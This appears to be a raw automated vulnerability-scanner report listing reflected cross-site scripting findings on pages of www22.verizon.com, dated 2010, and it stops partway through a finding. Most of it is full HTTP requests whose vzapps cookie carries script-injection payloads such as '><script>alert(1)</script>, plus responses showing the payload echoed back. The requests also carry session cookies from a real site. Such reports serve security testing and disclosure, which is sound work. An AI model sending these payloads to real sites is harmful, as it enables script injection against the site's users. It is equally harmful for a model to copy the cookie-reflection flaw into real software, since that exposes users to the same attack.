Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/EntertainmentOnDemand/Movies/Movies.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX8bdd5'><script>alert(1)</script>0e84856a01a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 72415 Expires: Sat, 20 Nov 2010 02:34:48 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:34:48 GMT Connection: close Set-Cookie: ContextInfo_State=TX8bdd5'><script>alert(1)</script>0e84856a01a; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Entertainment on Demand: Movies </title><meta name="keywords" content="video downloads, movie downloads, internet movie, internet televisi ...[SNIP]... <input type='hidden' id='locationInfo' value='TX8BDD5'><SCRIPT>ALERT(1)</SCRIPT>0E84856A01A ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 93a42<script>alert(1)</script>4c0478de7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX93a42<script>alert(1)</script>4c0478de7; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 25d53'><script>alert(1)</script>0c31bc76bf5 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX25d53'><script>alert(1)</script>0c31bc76bf5; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 70b53'><script>alert(1)</script>2c11006907 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/AboutFiOS/AboutFiOS.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX70b53'><script>alert(1)</script>2c11006907; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2d80e<script>alert(1)</script>06fdf66588a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/AboutFiOS/AboutFiOS.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2d80e<script>alert(1)</script>06fdf66588a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 94a91'><script>alert(1)</script>f5e2bd370e9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/CheckAvailability/CheckAvailability.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX94a91'><script>alert(1)</script>f5e2bd370e9; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 58778 Expires: Sat, 20 Nov 2010 02:06:12 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:06:12 GMT Connection: close Set-Cookie: ContextInfo_State=TX94a91'><script>alert(1)</script>f5e2bd370e9; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7f116'><script>alert(1)</script>d00b8d921b2 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7f116'><script>alert(1)</script>d00b8d921b2; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 54438<script>alert(1)</script>f68ab918137 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX54438<script>alert(1)</script>f68ab918137; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 93e85<script>alert(1)</script>33520c9d41d was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/FAQ/FAQ.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX93e85<script>alert(1)</script>33520c9d41d; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 114981 Expires: Sat, 20 Nov 2010 02:08:03 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:08:03 GMT Connection: close Set-Cookie: ContextInfo_State=TX93e85<script>alert(1)</script>33520c9d41d; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4453b'><script>alert(1)</script>c8f03bc5c2c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/FAQ/FAQ.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX4453b'><script>alert(1)</script>c8f03bc5c2c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 114985 Expires: Sat, 20 Nov 2010 02:08:02 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:08:02 GMT Connection: close Set-Cookie: ContextInfo_State=TX4453b'><script>alert(1)</script>c8f03bc5c2c; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload e0749<script>alert(1)</script>7afbaeb2733 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXe0749<script>alert(1)</script>7afbaeb2733; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="head">
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5dd9c'><script>alert(1)</script>b30b9be12d5 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX5dd9c'><script>alert(1)</script>b30b9be12d5; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="head">
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 586d6'><script>alert(1)</script>5be2a55a080 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
